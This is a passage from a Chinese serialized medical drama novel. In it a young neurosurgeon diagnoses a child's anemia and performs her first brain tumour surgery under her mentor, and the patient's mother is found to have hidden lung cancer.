舒映阶道:“我看过了,都是第一次挂号,你认为你有问题吗?” 南栀立刻摇头,“没问题。” 她朝舒映阶亲昵地笑笑,“谢谢舒教授。” 舒映阶转身离开。 南栀这才发现,舒映阶走路的姿态似乎越来越疲惫。 她到儿研所后,经常听医生们提起舒映阶。 还有记者来给舒映阶做过专访,记录舒映阶的一生。 舒映阶,旧社会地主家的丫鬟,签了卖身契的。 后来地主也赶时髦做起民族资本主义的生意,她和小姐一起被送到国外留学。 她运气不错,小姐善解人意,见她喜欢读书写字就带着她一起上学,有关医学方面的内容,都是她在图书馆借来相关书籍自学的。 回国后,国内战乱,舒映阶选择加入保家卫国的队伍,一直奔赴在前线,靠自学的医疗知识救死扶伤。 中间她还去读过当时欧洲国家在国内创建的医科大学,但始终放不下战地上的伤兵,又义无反顾回到前线。 被舒映阶从阎王殿拉回来的人数不胜数。 一直到五十年代,一切尘埃落定,她才重新开始学习,当时她的年纪已经不小了。 丈夫和孩子无法理解她继续读书的决定,认为她这个年纪去读书是丢人现眼,当时因为在战争中的功劳,她已经有去医院做医生的资格。 但舒映阶和年轻时一样,决定的事就不会轻易改变,义无反顾地与丈夫离婚。 当时国家刚建立,新版本的结婚证还没捂热乎,离婚可真是头等大事,街道干部挨个来舒映阶家劝说,舒映阶从未动摇,离,必须离。 当时可没少看人家的白眼。 丈夫和儿子这些年也没和她联系过。 她能走到今天,完全是靠自己的努力。 南栀命苦,没有一对正常的父母,但和舒映阶的经历比起来,她那些自家的事真是微不足道。 南栀打起精神,她得向舒教授学习,做最牛的人! 又一个家长领着孩子走进来。 男孩还不到四岁,面色苍白,穿着的衣服是大人的旧衣服改小的,嘴边还有一点点口水。 南栀朝他亲切笑道:“小朋友怎么啦,不舒服吗?” 男孩抬头找妈妈,“妈妈,这里有个怪姐姐,我害怕。” 南栀很高兴,“他叫我姐姐诶!” 女人:“……” 这是重点吗? 女人向舒映阶的办公桌看去,“这里不是专家号吗?” 南栀道:“舒教授刚才有事出去了,您放心的话,我可以先给您看,如果我看不来,可以再让舒教授给您家孩子看。或者您可以稍微等一会儿,舒教授马上就回来。” “你先给看看吧,”女人把男孩抱到椅子上坐好,她心事重重,脸上没个笑脸,“你看这孩子的脸色。” 南栀便盯着男孩的脸看。 男孩:“哇,这个漂亮姐姐要吃了我!” 南栀十分感动,“他夸我好看诶。” 女人:“……” 她该学习医生的心态。 “我家孩子一直贫血,我听说前段时间医院给一个孩子开了刀,那个孩子也是贫血,是脑袋里长肿瘤了,所以带他来看看。您看他是脑袋里的事吗?” * 王敏已经等候舒映阶多时。 “要见你可真不容易,我这老胳膊老腿的动一动容易吗?” 舒映阶神神秘秘地把王敏拉到没人的地方,“都带过来了?” 王敏点头,“你确定?你还是听我的话,别和自己过不去。” “没办法,时间太紧,我手里还有病人,走不开。这件事只有你知道,你可别到处宣扬。” 王敏道:“放心吧,我是那种人吗?” 舒映阶认真看了王敏一会儿,说:“是。” 王敏:“……” 舒映阶:“你和小陆都是。” 王敏:“……” “我和陆嘉述能一样?她那脾气,那是根本不在意,总统来了她都能把人骂跑。不过你和嘉述到底谁年纪大?我记得她管你叫小舒。” 不知道自己出生年月日的舒映阶坚定道:“我大。” “哦……” 舒映阶叮嘱完王敏,毫不客气地把人赶走。 回诊室的路上,舒映阶遇到血液科的主任。 主任无奈道:“舒教授,有个小男孩,四岁不到,去了吗?” 舒映阶说:“南栀在,我不清楚。” “南栀?上台当一助的那位?胆子真大。” 舒映阶恢复成以往严肃的样子,“技高才胆大。” 主任道:“您怎么还护上犊子了?听说她是陆教授的嫡传弟子。” 舒映阶大惊,“陆嘉述说的?!” 可恶的小陆! 两个主任都得罪不起,主任赶紧赔不是,“您可别和陆教授说,我害怕,您要是看见我说的男孩,赶紧把他们劝走吧,这当妈的也是魔怔了,非得说孩子是得脑瘤了。哦对,前段时间不是有个脑瘤表现为贫血的吗,她不知道在哪里看见的,孩子贫血,补铁效果不好,现在认定孩子脑袋里长了瘤子。” 虽说这种事拍个片子就能知道结果,但有的钱实在没有浪费的必要啊。 舒映阶道:“南栀在,没什么问题,别担心了。” 主任:“……” 就算是护着自己的犊子,也不能……吧?想找到贫血的原因,要看的科室可太多了,南栀毕竟是在神外,能清楚吗? 两人说话间,就见一个女人领着小男孩走了过来。 “就是他们!” 主任快步走过去,“同志,我真是为了你好,拍个ct也不便宜,何苦要浪费这个钱?你儿子补铁效果确实不好,我们再试试其他方法,或者再去内科看看?” 刚才还十分倔强的女同志此刻笑容如春风拂面,她爽朗道:“对,医生都和我说过了!” 主任:“?” “我儿子这是缺铁性贫血,补铁效果不好,医生说了,让我去做什么静脉铁剂治疗,要打、打……”她翻出南栀写的纸条,“您看看,半量静脉庶糖铁……这是什么意思?” 主任接过纸条。 这孩子的情况其实有点儿难办,是很明确的贫血症状,小细胞低色素型贫血,血清铁、铁饱和度降低,但是铁蛋白是正常的。 来儿研所之前,孩子口服补铁治疗,效果很一般。 主任本来给开了几项检查,女人听说小椎的病例,非要去神外试一试。 其实小椎的病例是很特殊的,不是每个婴儿都能表现出头大、肿瘤、贫血,一般情况下,要排除很多选项才能轮到神外。 舒映阶问:“一起去看看?” 主任:“……” 那可不得赶紧去。 南栀正在诊室里给患儿听诊。 有些家长似乎不知道该去哪个科室,孩子只是咳嗽也给送过来了,这方面的宣传很不到位。 南栀没赶人,只是把情况说明白了,推荐他们再去其他科室看看。 舒映阶和主任等患儿和家属离开后才问道:“刚刚那个贫血的孩子,是你给看的?” 南栀不认识血液科主任,“您是?” 主任无奈道:“你不认识我,我可认识你,第一次上台就做了一助吧?” 在循规蹈矩的主任看来,这是疯子行为。 舒映阶轻描淡写道:“我当时一次手术都没做过,就敢直接缝。” “您那会儿和现在能一样吗?战场上还能算这些?能捡回一条命就不错了,还考虑是不是无菌环境?会不会感染?” 舒映阶说:“现在讲究多是好事,说明生活水平提上来了。” “这倒是……不对,我说的不是这件事!”主任看向南栀,“你让他们去进行静脉铁剂治疗?” 南栀解释道:“我和他们说过了,不该来神经外科,不过人既然来了,就给看看嘛。我看了他的检查报告,听了肺、心脏,都还不错,症状就是乏力、脸色苍白,胸部CT看起来有炎症,我让他们回血液科了,这种情况入院治疗比较好。” 主任凝视着南栀。 奚阳华和沈玫走进来,一见这阵仗,奚阳华先乐起来,“南栀闯祸了?闯的什么祸?哎哟,我就说她不行嘛,总算等到这一天了。” 沈玫拧眉,先看舒映阶的表情,她还很自在,看起来不是闯大祸。 沈玫道:“其实南栀,她来的时间比较短,主任,您……” 主任摆摆手,示意他们安静。 他认认真真问道:“你对他的情况有什么看法,为什么口服补铁治疗没有效果?” 南栀说:“他们在来儿研所之前,已经做过很多检查,包括血常规、铁代谢、骨髓穿刺、B超、尿常规等等,我认为贫血不是其他病引起的,只是铁剂治疗没效果,这可能与基因有关,如果以后能做基因检测,可能会发现他某段基因存在复合杂合突变,国外有相关文献的报道。所以我推荐他们尝试输液。” 主任说:“现在好像没有能做基因测序的地方。” “早晚会有呀,”南栀很淡定,“说不定快乐,不需要几年了。” 主任神情复杂,他看向舒映阶,“教授,你这徒弟不像医生。” “像什么?” 主任说:“神棍。” 南栀:“……” “其实我也想过会不会是地中海贫血,还有慢性炎症性贫血,肺含铁血黄素沉积症也有可能,但结合他的症状表现,都可以排除。他入院后还需要完善检查,后续的治疗方案还得您来定。” 主任热情道:“考不考虑来我们血液科?我们血液科待遇很不错哦,不比你在神外差!” 舒映阶把主任揪走。 奚阳华失望道:“没惹祸啊。” 舒映阶道:“谁惹祸南栀都不会惹祸,她心里比你有数。” 主任哀号道:“不公平啊,有点儿才华的都被教授你拉走了,你当初拉拢我们的时候怎么说的?我可是放弃了成人的治疗,专门来给孩子看病的!一个人都不让给我!!” 舒映阶毫不客气地把主任关在门外。 奚阳华撇嘴,“还抢人,有什么好抢的。” 南栀:“我也很羡慕你啊,可以安安静静地实习,不被打扰,真好。” 奚阳华:“……” 对,就是这个阴阳怪气的味儿。 舒映阶看着南栀笑道:“现在可以考虑下一步了。” 南栀没理解,好奇地看着舒映阶。 舒映阶说:“主刀,敢试一试吗?” 奚阳华和沈玫同时作出惊恐状。 虽然他们已经知道南栀的水平不一般,但一上来就主刀,这…… 她作为助手才跟了几台手术? 舒映阶说道:“别太有心理压力,先从小手术做起嘛,慢慢来,不着急。” 奚阳华:“……您说的小手术是?” 沈玫也小声嘀咕道:“不是说神外没有小手术吗?” “怎么没有?我手上就有个病例,我看比较适合南栀。南栀,你怎么看?” 南栀为表敬重,起身答道:“如果您认为我可以,我就可以。” 南栀不仅对自己的水平有数,她对舒映阶的水平更有数。 舒映阶不是单纯让南栀练手,她只是比一般的老师判断力更好,知道她手底下的学生可以做到什么程度。 舒映阶一辈子都奉献给医疗事业,最在意患者的安危,就算是普通的小感冒找到她,她也会认真对待。 所以舒映阶认为她行,她就敢上。 舒映阶认为她还不够格,她就得多练。 这个消息很快传遍神外,大部分人都反对。 “太冒险了,舒教授到底是怎么想的?万一手术过程中出事故,家长知道了,认为我们把人家的孩子当成实验品,到时候想解释都解释不清楚。” “我是挺喜欢南栀的,但我也不赞同,无论如何都该让她再跟几台手术做助手。” “舒教授说了,这几天都带南栀上台,让她锻炼,然后再主刀。其实就是给南栀一个证明自己的机会呗?” 郭迁坐在角落听着他们的争论。 他刚来医院时,也被称为天才,但进展比南栀慢多了。 有人问他,“老郭,别光喝茶,你怎么看?” 郭迁深思熟虑后才说:“南栀不是实习生,她本来就是来进修的,在以前的医院也有手术经验。” 奚阳华冷不丁开口道:“但她没上过学,只去过政府组织的培训班。” 办公室一下子安静了。 刚建国时,但凡懂点儿医学知识的都被拉到医院干活。 熟悉英语的也会被拉到医院,因为很多进口药的说明书都是英语,他们没学过英语的都不认识。 可现在不是刚建国了。 虽然小地方还是缺医生,但培训是个什么水平,大家都该清楚。 郭迁看向沈玫,“你 们走得比较近,她水平如何?” 沈玫道:“她的基础知识很扎实,其实比我们强。” “能被陆教授推荐,就算再走后门,也得有些真水平。” “但基础知识和手术不一样,我还是不赞同南栀主刀!她再有天赋,能比老郭更好吗?是吧?” 郭迁不语。 那天南栀代替他做一助的水平,他看在眼里。 说实话,在那一瞬间,郭迁有些恐慌。 一直以来他都是舒映阶最得力的助手,所有人都知道,包括一些和儿研所合作的公司。 如果失去这个名号…… 郭迁说:“我也主刀过,舒教授愿意给我们机会,是好事。” “你们不一样,你跟了舒教授这么久,当然有能力主刀,其实你现在完全可以脱离舒教授,是你对舒教授有感情,不愿意走,才一直给她做助手。” 郭迁看向办公室内的电话。 这一点他也考虑过了,如果他能够独当一面,有些事做起来可能更容易。 郭迁笑笑,“你们别争了,舒教授不会胡乱分配任务,就算是南栀主刀,她也会跟着指导,如果南栀不行,舒教授会接手。” 至于南栀到底行不行,只有上了手术台才知道。 得知这一消息后,郭迁特意去了一趟舒映阶的办公室。 舒映阶和南栀的办公桌面对面,两人相处倒是和谐,都在看期刊。 舒映阶看的是临床儿科杂志,南栀看的是国外的期刊,而且是英文版。 郭迁看了好几眼,里面有很多专业名词,他需要查词典才能搞明白。 南栀好像不太需要查词典。 郭迁问:“舒教授,您这两天的手术安排……” 舒映阶推了推眼镜,“南栀做一助,你继续反省。” 郭迁:“……” 舒映阶道:“有些事我不想管,不代表我不知道,无论如何都不能喝酒后上台,我是在救那个孩子,也是在救你。什么时候想明白了,再来找我。” 郭迁攥紧手心,看了舒映阶良久才退出去。 南栀满心都是手术的事。 她原本还担心在儿研所待的时间太短,可能做不上手术就要走,舒教授这么一安排,她能学到的东西就更多了。 晚上,她分别给黄春兰和箫珵都打了电话,告诉他们这个好消息。 黄春兰不懂,但会恭喜女儿,听到黄春兰的声音,南栀对亲妈的印象好像更淡了。 她劝患者时,都告诉他们应该向前看,她也是。 以前她什么都没有,但现在她有父母,有奶奶,有疼爱她的姨妈们,还有亲哥。 医院里也有她的朋友们,阮乔、韦宁雨、盛昭云,对她都很好。 还有陆随。 不说他们,光是舒教授为她做的,她就没时间伤感,她必须尽快掌握所有技巧,才能对得起舒教授和陆教授。 再也不想那些乱七八糟的事情了! 箫珵絮叨道:“最近几个手术很难,不过是好事,说明临川市的人越来越相信我们。陆随下火车就去医院了,你们见面了?谈得怎么样?他看起来心情还不错。” 南栀心情也挺好。 箫珵劝道:“多接触接触,别逃避。” 南栀应下,“我知道,回去再说。” 给黄春兰和箫珵打过电话,阴霾散去不少。 南栀回到宿舍楼。 舒映阶也住在宿舍楼,现在房间的灯光还亮着,南栀曾经去过,里面绝大部分都是工作用的书籍、器具,属于舒映阶的私人物品少之又少。 南栀在舒映阶的房间看到一个相册,里面都是她和朋友们的照片,她没有家人。 她的那些朋友,也都是医生,分布在全国各地。 什么亲爸亲妈的,她现在可没时间想他们。 * 南栀又跟了几台手术,每台手术都是一助,这些工作已经得心应手。 舒映阶为她选的患者是一个八岁的男孩,患有延髓胶质瘤。 “男性患儿郑瑞博,主诉延髓胶质瘤,曾在余水市做过手术,目前的情况是残余肿瘤进行性增大,这是手术记录。” 舒映阶把手术记录推给南栀。 “肿瘤和延髓粘连紧密,术中心脏停搏三次,肿瘤未能全切……” 南栀看向舒映阶,“简单的手术?” 舒映阶笑眯眯道:“我认为你可以。” 南栀:“……” 她对自己是很有信心的,但这种复发胶质瘤,如果家长知道…… 舒映阶道:“不用担心,这是低级别肿瘤,如果能做到全切,患儿是有可能长期存活的。而且儿研所引进了脑干功能电生理监测技术,操作人员经过专业培训,手术过程在监测下完成,有电生理的反馈,你可以更有信心。” 南栀坦白道:“我没什么问题,我担心家属没有信心。” “凡事都有第一次,如果每个家属都要求找一个做过无数次手术的主刀,该如何培养新医生?手术我全程都在,每一个步骤我都会告诉你该如何做,不用担心。” 南栀点头应下。 开完会,南栀来到病房。 延髓胶质瘤的患儿叫郑瑞博,带他来的是他的妈妈卢书语。 郑瑞博是卢书语的第一个孩子,她今年三十一岁。 南栀到病房时,看到卢书语正在给郑瑞博读故事书。 “小红帽看到躺在床上的大灰狼,还以为是外婆呢,小红帽说……” 郑瑞博打断妈妈,问:“小红帽近视吗?” 卢书语:“……她的视力很好。” “那怎么会认不出外婆呢?” “外婆生病了,盖着被子。” 郑瑞博:“小红帽是傻子吗?狼身上有毛啊,她不认识吗?” 卢书语:“……” 她放下故事书,“换个故事,想听什么?” 郑瑞博:“大灰狼吃掉小红帽的故事。” 卢书语:“……” 这话惹得旁边的小姑娘号啕大哭,“小红帽没死,小红帽没死!” 卢书语:“……” 南栀敲门制止这场闹剧。 她走进去,自我介绍道:“你好,我是郑瑞博的主刀医生,我叫南栀。” 卢书语起身走过来,“你好。” “郑瑞博现在的状态不错?这几天要听护士的安排,做好术前准备,你们已经动过一次手术,流程应该都知道?” 卢书语把南栀带到走廊,“都清楚的,麻烦您了。” 南栀点点头,道:“如果有疑问,可以随时来问我。” 卢书语欲言又止。 南栀说:“有问题可以直接问,家属和医生之间也该互相信任,而且您……脸色不太好。” 卢书语摸了摸脸颊,把碎发别到耳后,“我家不在首都,带着孩子坐了一天火车才赶过来,可能还没休息过来。” 南栀问:“只有您一个人?” 卢书语苦笑道:“他的病花了家里不少钱,他爸不愿意给他治,我们已经离婚了。” “一个人带着生病的孩子很辛苦,如果有需要帮忙的,可以告诉我,也可以告诉其他医护人员。 ” 卢书语不安地抚弄着刘海,“南医生,我的确有个问题。” 南栀道:“您说。” 卢书语道:“有人说,您之前没做过类似的手术,是吗?” 第80章 第80章主刀 南栀没有和卢书语提此事,其实更多的是怕她担心。 患儿术前家长情绪不稳定,有各种各样的担忧,都是常见的情况。 卢书语的疑虑,南栀也能理解,换作任何人,都会希望给自己亲人做手术的是一个经验丰富的医生。 让南栀奇怪的是,他们才刚开过术前会议,舒映阶力排众议让南栀主刀,卢书语便知道了,患者家属的消息如此灵通? 南栀如实解释,“我不是第一次上台主刀,但开颅手术的确是第一次主刀,不过上台前会先观摩学习,会用各种物品学习缝合,要从助手做起。秉着对病人负责的态度,我可以实话告诉您,我没法保证手术百分之百成功,任何医生都不能说这种话,而且您的孩子还是二次手术。” 卢书语看向躺在病床上的郑瑞博。 恰好有阳光照进来,八岁的郑瑞博伸出小手在阳光下左右摇晃,和阳光一起玩得不亦乐乎。 “我只能说,我会和其他医生一样认真对待,我的技术确实不如舒教授经验丰富,但也不会很差,手术过程中舒教授全程都在,会盯着我做每一步。如果您还有疑问,我可以同舒教授说一声,看看能不能换作她来主刀,这些都可以商量。” 卢书语收回目光,她问道:“我能问一句,为什么舒教授有时间,还要南医生主刀吗?不是冒犯,只是我作为外行人,想不明白。” 卢书语是奔着舒教授来的。 能来儿研所的,心里都有目标。 南栀说:“就和国家培养孩子一样,医疗行业、外科医生也需要新鲜血液,舒教授年纪大了,不能一直坚守在手术室。” “明白了,”卢书语说,“需要有人接班,只是医生这个行业比较特殊,作为家属,听着没法安心。” “这样吧,我再和舒教授商量商量,”南栀看向护士站,试图找到一部电话,“郑瑞博虽然是二次开刀,不过肿瘤级别比较低,舒教授才有此考量,舒教授也愿意开刀的,她基本上不会休息。” 南栀很想主刀,但也不想让卢书语太担心,她一个人带着孩子来首都求医不容易。 卢书语微笑道:“不用了。” 南栀一愣。 卢书语说:“这次换成舒教授,下次呢?新医生永远不上台?老教授一直顶着?您也说了,这不可能,教授年纪大了。” “可你不是担心……” “我当然担心,可能舒教授主刀,我担心的会少一些,但还是担心。不过我希望瑞博还有坐在校园里的一天,我希望他还能被当作未来的希望来培养,也希望医疗行业能进步,孩子们,我们,所有人都不用被病痛折磨。既然舒教授全程都在,她主刀还是你主刀,都一样。”卢书语朝南栀笑笑,“总要有第一次嘛,人体没那么脆弱。” 南栀看了卢书语半晌,说不出话来。 卢书语道:“看你年纪不大,舒教授愿意带你,将来一定有前途,你好好准备,我们也好好准备,大家都别紧张,合作愉快。” 她朝南栀伸出手。 南栀犹豫地看着她。 卢书语主动拉起南栀的手,“加油。” * 神外办公室,沈玫小声说道:“咱们开会才多久,家属就知道了?你妹问她是谁说的?” 南栀趴在办公桌上愣神。 奚阳华道:“肯定是有人打小报告。” 沈玫看向奚阳华。 奚阳华:“?,我会打小报告?!” “应该不会,”沈玫说,“你都是大声嚷嚷。” 恨不得当着南栀的面直接跑到家属面前质疑的那种。 奚阳华:“……” 他试图挽回自己的形象,“我是有底线的好吗?我会做这种事吗?舒教授已经决定了,当然,我对舒教授的决定保持疑问,我认为这很不公平,我也想做手术,对吧,舒教授不愿意带我。” 沈玫评价道:“舒教授是根据个人实力安排的,有的人能做手术,就是因为他能做,有的人不能做手术,就是因为……” 奚阳华:“你闭嘴!” 好几个主治医生看过来。 沈玫摊手。 看吧,她就说奚阳华只会大声嚷嚷。 两人争不出结果。 参加会议的有手术团队,也有神外的几个副主任医师,一起商量手术入路等等,这些医生都很有经验,但凡聪明点儿的,都不会在家属面前提到南栀是第一次上台。 这不是往炮仗上浇汽油再放个火柴吗? “南栀啊,你得小心点儿,我怀疑有人在针对你。” 奚阳华说:“你这么高调,别人针对你很正常,呵呵。” 南栀忽然坐直。 两人等她发表有关“泄密”一事的重要言论。 南栀说:“我要做医生!” 沈玫:“对,就是要做医生,做医生……啊?” 奚阳华嫌弃道:“抽风?你现在是什么,护士?护工?食堂大妈?” 南栀看向沈玫,“我第一次知道,被支持的感觉这么好。” 她成绩好、聪明,从小到大听到的都是赞美之词。 每个人都说她能做好,每个人都愿意相信她。 可患者家属并不知道这些,而且卢书语完全可以质疑为什么是她来主刀。 但卢书语没有,她选择相信她! 最初南栀想做医生,是因为弟弟的病,现在好像有点儿变了。 沈玫笑道:“其实有的家属真的很好,有的小朋友也挺可爱的。我刚来的时候,有一个小妹妹偷偷给我糖吃呢,她只有过年和生病才能吃到糖呢。” 看到糖时,沈玫开心得不得了,就算刚被舒教授骂了一顿,阴霾也一扫而空。 在这美好的瞬间,奚阳华精准地泼来一盆冷水,“忘了家属撒泼的时候了?” 沈玫:“……” 南栀起身,“有的人做不了手术,那确实是……” 奚阳华土拨鼠尖叫:“你闭嘴!!” * 郑瑞博的手术定在三天后。 南栀在积极准备,郑瑞博也在做准备。 他已经八岁,不是完全懵懂无知的小朋友,他曾经开过刀,第一次开刀前哭得撕心裂肺。 这次他却没哭,只是一直躺在卢书语怀里。 郑瑞博问:“妈妈,我是不是快死了?” 卢书语用手帕擦拭他额头上的汗,“怎么会呢,开刀就是为了让你活得更久。” “可是上次开刀,你说开完刀我就好了,为什么还要再开刀呢。” 卢书语说:“因为你脑袋里长了个不听话的东西,他想留下来,他很倔,不太听话,上次没把他全赶走,留下了一部分,这次开刀就是为了把他连根拔起。” 郑瑞博委屈道:“他为什么来找我,我的同学都好好的,所有人都好好的,他只来找我。妈妈,活着一点儿都不好,活着就会疼。” 卢书语拉起郑瑞博的手,迎着阳光,她声音温柔,“阳光多暖,天很蓝,冬天会有雪,春天万物复苏,夏天郁郁苍苍,活着怎么会不好,活着多好。” “我们现在运气不好,以后就会好了呀,你想想,等开完刀,你就能继续上学,能找小朋友玩,还能见到爸爸、爷爷奶奶……” 郑瑞博把头埋进卢书语怀里,“他们不要我了,我也不要他们,我只要妈妈。” 卢书语搂着郑瑞博,好半天没能发出声音。 再开口时,卢书语的声音有点儿抖,“好,那就不见他们,我们去见姥姥和姥爷,还有舅舅、姨妈,他们都在等你,以后我们听他们的话,好吗?” 郑瑞博点点头。 患儿要提前进入手术室等待。 卢书语拉着郑瑞博的手,一路将他送到手术室门口。 护 士说道:“您放心,在里面我们会照顾他,您在门口等就好,不要离开,如果有情况我们会立刻通知你。” 郑瑞博一离开妈妈就开始哭。 卢书语微笑地看着郑瑞博,给他加油。 手术室的大门缓缓关闭,卢书语才慢慢敛起笑容。 她看向窗外,太阳已经躲进乌云后,没有阳光。 卢书语靠着墙慢慢坐下,头埋在膝盖前,小声抽泣。 * “患儿郑瑞博,复发延髓胶质瘤,行原切入口入路肿瘤切除术。” 南栀说完,看向舒映阶。 舒映阶道:“不用多说,开始。” 南栀点点头。 手术室其他人紧张地看着南栀。 他们紧张可不是好事,紧张就容易出错。 只有奚阳华还算安静,只不过他的注意力不在南栀身上,早就飞走了。 南栀会不会搞砸呢?如果搞砸了,他正名的机会不就来了? 奚阳华想想就觉得美。 不对,手术搞砸了,可能威胁患儿的生命安全,作为一名医生,他这想法太恐怖。 于是奚阳华一会儿高兴,一会儿自责。 沈玫:“……” 助手护士们:“……” 这个研究生看起来有点儿毛病。 舒映阶道:“再笑,把郑瑞博吵醒,换你来躺着。” 奚阳华终于停止幻想。 再看南栀,她已经轻车熟路地切开硬脑膜。 南栀为了神外的手术,私下没少下功夫,平时不是跟着舒教授学习,就是回宿舍偷偷练。 钻头这东西,她以前很少接触,为了手术还特意去淘了两个二手钻头,在宿舍一顿捅咕,基本上所有私人物品都多了几个洞。 舒映阶就是看到南栀下的功夫,再看南栀做助理时的手艺,才敢让她上台。 盯着南栀做手术,舒映阶难得清闲。 “看到了吗?多向南栀学习。” 奚阳华瘪嘴。 幻想彻底失败,让这死丫头成了! 南栀动作娴熟,所有人的紧张焦躁渐渐褪去,大家一方面佩服南栀,另一方面也佩服舒教授。 简直是运筹帷幄的大神。 给南栀做一助的是郭迁,这是他主动要求的。 进手术室前,他还抱着看戏的心态,随着手术的进行,这场戏是看不下去了。 郭迁神色越来越严肃。 南栀沿中线切开下蚯蚓部,进入第四脑室。 “肿瘤上极完好,质地软韧不均。” 南栀向下翻起肿瘤。 肿瘤起源于延髓背侧。 舒映阶说:“要先找到肿瘤和脑干的游离面,不可瘤内减压。” 奚阳华看向舒映阶。 舒映阶:“……” 挑到这样的研究生怎么办?宠着呗。 舒映阶说:“容易伤到延髓。” 南栀道:“肿瘤起源延髓左侧小脑下脚,挺幸运。” 她熟练地处理肿瘤。 探查游离面、抬起肿瘤、棉片保护延髓背侧中线处。 这一系列操作,南栀动作娴熟,换作是谁也看不出她是第一次上台。 大家不仅不需要担心,反而开始惊叹。 麻醉医生小声说道:“真是太厉害了,这谁能看出是第一次上台?” 沈玫说:“天才和普通人完全不一样,不能拿我们的思维和人家比。” “难怪舒教授一定要带着南栀,她怎么会沦落到什么临川市的?多小的地方。” “英雄不问出处……”奚阳华说完才想起他评价的对象是南栀,紧急改口,“她也就那样。” 麻醉医生朝奚阳华竖起大拇指,“未来可期。” 奚阳华:“哥,你也认可我?我就知道你有眼光!你看我适合做什么医生?” 麻醉医生说:“适合当鸭子。” 奚阳华:“?” “嘴够硬。” “……” 二助忽然说:“血压在升高!” 南栀和舒映阶同时看向监护仪。 舒映阶只瞟了一眼,接着又看向南栀。 其他人都在看舒映阶。 舒映阶纹丝未动。 南栀也没有说话,她刚刚正用低功率电凝切断瘤体基地。 郑瑞博血压升高后,南栀开始反复打水降温,降温的同时没有停下动作,一步步分离基底,整个瘤体都被取下来。 所有人同时松了口气。 手术室外,卢书语一直瘫坐在地上。 两个护士路过,试图将她扶起来,“这边有椅子,您去椅子上坐吧,地上太凉了。” 卢书语只是沉默地摇头。 两人只好直接把卢书语抬走,卢书语不配合也不反抗。 护士把她送到椅子前,安抚道:“你是郑瑞博的妈妈吧?手术一定会顺利的,不要太担心。” 卢书语仍然不说话。 两人离开时还在讨论,“我认识她,她很配合我们,而且一直都挺乐观的,现在怎么了?” “哪能真的乐观啊,她儿子上次手术过程中三次心脏停搏,真的是命大才能救回来。” “唉,当妈的最可怜了,生孩子遭罪,孩子病了更遭罪,希望手术顺利,把孩子留下来陪着她吧。” 手术室的门终于打开。 卢书语不知道自己坐了多久,腿已经麻了几轮,她听不到其他声音,但是手术门被打开的瞬间她就听到了。 卢书语看向手术室。 南栀几人快步走出来,“手术顺利,病理要过几天才出,人先送到ICU,如果恢复得好,很快就能出来。” 卢书语的目光中没有他们想象的惊喜,反而有几分茫然。 护士以为她是对ICU不满,解释道:“有的切除良性肿瘤的可以直接回普通病房,郑瑞博是二次手术,年纪又比较小,我们担心出意外,所以送到ICU了,恢复情况不错的话,立刻转到普通病房。” “哦,”卢书语回过神,“没事,辛苦各位了。” 她朝南栀几人鞠躬。 南栀愣了片刻,将卢书语扶起来。 卢书语的反应很奇怪。 南栀低声问:“还有其他难事吗,或许我能帮得上忙?” 卢书语摇摇头,“手术成功就好,没什么事了。” 她沉默地离开。 南栀问护士,“她是不是钱不太够?” “不知道啊,没听说她拖欠费用,不过也有可能,这都二次手术了,中间还有其他治疗,钱不够用很正常。” 南栀又去查了郑瑞博的费用,卢书语的确没有拖欠治疗费的情况。 但一个在意孩子的母亲,听到手术成功几个字的反应怎会是茫然? 术后第二天,郑瑞博转到普通病房。 他术后反应很小,再住几天院就可以离开。 手术将肿瘤全切,预后不错,还可生存很久。 南栀将这一消息转达给卢书语。 卢书语脸色苍白,听到后她笑了笑,“挺好的,我可以带着他回家了。南医生,舒教授和我说了,你手术做得很好,用我们外行人的眼光来看,头皮都缝得很好看,谢谢你。” 南栀拧起眉,她盯着卢书语的脸看了一会儿才说:“是我该谢谢你,谢谢你信任我。” “都来医院来,哪能不相信医生,”卢书语道,“我相信你能做好手术,也相信舒教授的眼光,你还这么小,就能做复杂手术,将来肯定更好,祝福你。” 卢书语柔声细语,换做平时,南栀听了会很感动,但今天,她却只有不安。 卢书语再次道谢,然后回到病房。 同病房的小朋友给郑瑞博送了玩具车,护士还给郑瑞博准备了冰糖,每天哄着他吃药。 卢书语给郑瑞博拿了一块冰糖,“你看,妈妈没骗你吧,大家对你多好,你还有糖块吃,还有小汽车玩……” 卢书语的声音忽然消失。 接着,南栀看到她摔向病床,十几颗冰糖撒了一地。 伴随着惊呼声,南栀和护士一起冲进病房。 * “南栀?你是从儿研所来的?不是患者家属?” 富雅医院胸外科,医生拿着卢书语的CT看了好一会,然后看向南栀。 南栀解释道:“我是儿研所的医生,卢书语带着孩子去儿研所就医,照顾孩子时忽然晕倒,是在儿研所抢救的,体征平稳后就送过来了。” “你们已经做了一些检查,应该已经知道了,不然不会送到胸外。”医生说,“肺癌中期了,算是幸运吗?不是晚期。最近劳累过度导致晕倒,晕倒和肺癌关系不大。” 在来富雅医院前,南栀的确已经知道结果。 难怪卢书语的脸色一直不好,原来她自己也是癌症患者。 医生说道:“都是同行,我不说你也该明白,对于癌症,我们束手无策,只能尽量治疗。” 南栀想到卢书语曾说过的话,心里更加不安,“她可能……可能不打算接受治疗。” “中期,还能再拖一拖,中期就放弃?” 南栀越听越难过,“她的儿子刚动了开颅手术,她可能没办法接受治疗,而且可能没那么多钱。” 医生道:“这患者的面子挺大的,儿研所的舒教授,还有所长,给我们打过电话了 ,她如果在我们医院治疗,我们会尽量给她节省费用,如果还能试着搏一搏,我们主任答应了来开刀。你再劝劝她,年纪轻轻的,不想再多陪儿子几年了?” 南栀忽然想到郑瑞博手术结束后卢书语的反应。 她当然希望手术顺利,可她估计也不知道,等她走了,顺利活下来的郑瑞博该如何继续活下去。 南栀道:“我会和她谈谈,您刚才说舒教授来过电话了。” “对啊,这个家属是什么身份?” 南栀说:“是从外地来的,没什么特别的。” “这就怪了,舒教授说她帮了他们很大的忙,所以来拜托我们主任。舒教授你应该认识?她这人可真的是两袖清风、刚正不阿,从来没见她走过后门,我们医院主动想给她开后门她都不愿意来。” 南栀愣住。 是因为她吗? 南栀回到卢书语的病房。 卢书语已经清醒,但脸色比平时更差。 做医生久了,南栀对脸色很敏感,好像不同病症的患者脸色都有不同。 卢书语道:“我没什么事,不用住院,现在可以办手续吗?” 南栀把想离开的卢书语按了回去,“你真不知道自己的病?” 卢书语沉默片刻,说:“来首都之前已经查出来了。” “不治疗吗?” “家里的钱不够,先给瑞博治病吧,我这癌症就是绝症,没指望的。” 南栀道:“现在郑瑞博的手术已经做完了,你还是中期,可以积极治疗,延长寿命。” 